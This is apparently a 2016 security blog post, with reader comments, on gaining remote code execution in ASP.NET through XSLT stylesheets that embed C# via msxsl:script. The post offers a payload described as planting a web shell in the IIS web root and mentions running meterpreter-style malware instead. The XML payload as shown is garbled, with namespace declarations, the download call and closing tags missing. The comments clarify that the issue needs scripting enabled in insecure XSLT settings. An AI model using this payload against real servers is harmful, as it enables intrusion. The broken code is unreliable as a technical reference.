Wednesday, May 25, 2016

XML Attack for C# Remote Code Execution

For whatever reason, Microsoft decided XML needed to be Turing complete. They created an XSL schema which allows for C# code execution in order to fill in the value of an XML element.

If an ASP.NET web application parses XML, it may be susceptible to this attack. If vulnerable, an attacker gains remote code execution on the web server. Crazy right? It is similar in exploitation as traditional XML Entity Expansion (XXE) attacks. Gaining direct code execution with traditional XXE requires extremely rare edge cases where certain protocols are supported by the server. This is more straight forward: supply whatever C# you want to run.

The payload in this example XML document downloads a web shell into the IIS web root. Of course, you can craft a more sophisticated payload, or perhaps just download and run some malware (such as msfvenom/meterpreter). In many cases of a successful exploitation, and depending on the application code, the application may echo out the final string "Exploit Success" in the HTTP response.

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
<msxsl:script language="C#" implements-prefix="user">
public string xml()
    System.Net.WebClient webClient = new System.Net.WebClient();

    return "Exploit Success";
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>

Note: I've never gotten the "using" directive to work correctly, but have found the fully qualified namespaces of the classes (e.g. System.Net.WebClient) works fine.

This is kind of a hidden gem, it was hard to find good information about this.

Thanks to Martin Bajanik for finding this information: this attack is possible when XsltSettings.EnableScript is set to true, but it is false by default.


  1. This is mostly to attack an IIS web server which processes XML in an insecure way. However, Microsoft uses HTTP/SOAP for literally everything, so there might be other attack vectors.

  2. Regarding msxml:using element: The only information I found (maybe you found that already) is this example code:

    1. Definitely interesting, but seems unnecessary given you can auto-import by using the fully qualified names. Thank you for finding it, to help solve the mysteries surrounding this esoteric feature.

  3. Does not affect XML parsing, only XSLT transformation using insecure settings.

    1. Correct. Where I've seen it is pentesting ASP.NET apps that process XML.

  4. Scripting can be enabled using the XsltSettings.EnableScript Property ( Note the security note within the remarks section. AFAIK this property is by default always false.

    However, there *may* be some pitfalls as there are many ways to handle XMLs in .NET (e.g. changes in 4.5.2's XmlDocument stuff related to default processing of DTDs).

  5. I'm not sure I understand what the vector is exactly.

    Does the target application explicitly process XSLT? If not, that would mean the XML parser honors Processing Instruction and that would be quite noteworthy by itself.